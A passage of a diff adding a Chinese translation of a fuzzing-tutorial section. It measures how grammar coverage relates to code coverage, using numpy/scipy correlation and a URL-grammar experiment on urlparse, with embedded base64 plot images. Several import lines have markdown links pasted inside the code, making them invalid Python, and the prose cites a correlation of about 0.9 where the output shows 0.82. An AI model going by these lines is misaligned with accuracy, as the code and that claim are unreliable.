G0wYDDxfG/SUiFkqaQdoBXJmHzyDt6GsuKwwfFum9GS9I+o9Se04vASdIeh8pOIwB1sjT/Dsibu6gDONI7wu4FSAins9l2Za0kyIi7pP0b2AjUpPRU4BvA58kNZsBqd2inWtHz6Qd7djcPSUiau8rUZ08drgulVrxfQ9wkZa24LtiB+VYk9QUds2HgI0L06wsaXhEvCDp88D1wKER8WBhmgsjVc/NlPQQKUg+DPxc0mak98FsVEj/z4iYlfN5O+m3uhn4D/BrSX8GLi9mUtIqpAByXR50dmEdAtQaoJzG0t/+H8A3lN7RcXHkdztExGJJr9bK1cE6sR7iYGFlOm5/fKmXCt0/A06JiMuUms0+tjDuFYCIWCJpYeTDRtLOdIX26fLwVwrDa+n2JJ1pvCsHn0dIO+32eWlfho4uznVYtoiYLekZSZuSWmX9QiH9xyPi/tfNRNqy3bLr5bHeuhxAeg/FZnXG1ywgvQmyON3WteDTzjuAZ0htEL2ueB30Hwo8QTrrG0AKBDXF32AxsEJELJK0BanBvD2Ar5Bava2qNs/F5N8+Is6XdAvpZU6TJR0QEVfndCu2y5M1ga9ZWJm/Azvl+v1hpD9zPasAs3P3Pp2kWxarkKqkFuZrDOtUmOY+YLSkdwPk6xUrkI6898zDNiKdJdQCwe9JrYKuEhEz8rDJwEGFevvxXcxjh+syn+k8LGn3PF8pvUSnvXtJL2uq+StpR02ebrP8vQ6pim086Z0VWxam2T1fv9iA1Ijf/Tm/c/MZx96kM7+6ct5XiYgrSI0Rvi7IRcRzwLza9Yg8z+vohKT1gYci4qeks8tN8/DVSNVQCzub3hrPwcI6latuLiO1CnoxqWXN5+okP5ZUlXID0Ki7dc4DJkiaStrR131RTk2kV/B+CviZpDtIVUwrkd4jMDBXjV0A7BsRtaPeSaSj5gsLszqedN3lTkl35f7KeSxZl3sC++f83U16JWd71wPja8EK+Gpezp2S7gG+mMedQbp2MIfUuvGvJdXOvu4n7bj/AnwxIv6T18M+km4mVUHVO0OrGQ5cLunOPK9DO0izD3BSTrMZ6bpFZz4F3JWrut4K/DYP/wDp5UDWZL511kpJGhYRLyq9rOV64MDI7+K2rlnWdan0FrY/RcTfurHss0jNYk8qS9sqJF0MHN2+6s96nq9ZWBWnS9qYdDR+tgPFMlnWdXkC6W6pPk/pBWeXOFC0Bp9ZmJlZKV+zMDOzUg4WZmZWysHCzMxKOViYmVkpBwszMyv1/wHS0KZpx0sraAAAAABJRU5ErkJggg==
+)
+
+我们看到语法覆盖率越高，代码覆盖率越高。
+
+这也将转化为约0.9的相关系数，表明相关性很强：
+
+```py
+import [numpy](https://docs.python.org/3/library/numpy.html) as [np](https://docs.python.org/3/library/np.html)
+
+```
+
+```py
+np.corrcoef(xs, ys)
+
+```
+
+```py
+array([[1\.        , 0.81663071],
+       [0.81663071, 1\.        ]])
+
+```
+
+Spearman等级相关性也证实了这一点：
+
+```py
+from [scipy.stats](https://docs.python.org/3/library/scipy.stats.html) import spearmanr
+
+```
+
+```py
+spearmanr(xs, ys)
+
+```
+
+```py
+SpearmanrResult(correlation=0.937547293248041, pvalue=1.0928720949027369e-09)
+
+```
+
+### URL语法
+
+让我们在URL语法上重复此实验。 除了交换语法和功能外，我们使用与上述相同的代码：
+
+```py
+try:
+    from [urlparse](https://docs.python.org/3/library/urlparse.html) import urlparse      # Python 2
+except ImportError:
+    from [urllib.parse](https://docs.python.org/3/library/urllib.parse.html) import urlparse  # Python 3
+
+```
+
+再次，我们首先计算最大覆盖率，如关于覆盖率的[一章所述，进行有根据的猜测：](Coverage.html)
+
+```py
+with Coverage() as cov_max:
+    urlparse("http://foo.bar/path")
+    urlparse("https://foo.bar#fragment")
+    urlparse("ftp://user:password@foo.bar?query=value")
+    urlparse("ftps://127.0.0.1/?x=1&y=2")
+
+```
+
+这是实际的实验：
+
+```py
+f = GrammarCoverageFuzzer(URL_GRAMMAR, max_nonterminals=2)
+coverages = {}
+
+trials = 100
+for trial in range(trials):
+    f.reset_coverage()
+    overall_cov = set()
+
+    for i in range(20):
+        s = f.fuzz()
+        with Coverage() as cov:
+            urlparse(s)
+        overall_cov |= cov.coverage()
+
+        x = len(f.expansion_coverage()) * 100 / len(f.max_expansion_coverage())
+        y = len(overall_cov) * 100 / len(cov_max.coverage())
+        if x not in coverages:
+            coverages[x] = []
+        coverages[x].append(y)
+
+```
+
+```py
+xs = list(coverages.keys())
+ys = [sum(coverages[x]) / len(coverages[x]) for x in coverages]
+
+```
+
+```py
+ax = plt.axes(label="coverage")
+ax.yaxis.set_major_formatter(mtick.PercentFormatter())
+ax.xaxis.set_major_formatter(mtick.PercentFormatter())
+
+plt.xlim(0, max(xs))
+plt.ylim(0, max(ys))
+
+plt.title('Coverage of urlparse() vs. grammar coverage')
+plt.xlabel('grammar coverage (expansions)')
+plt.ylabel('code coverage (lines)')
+plt.scatter(xs, ys);
+
+```
+
+![](data:image/png;base64,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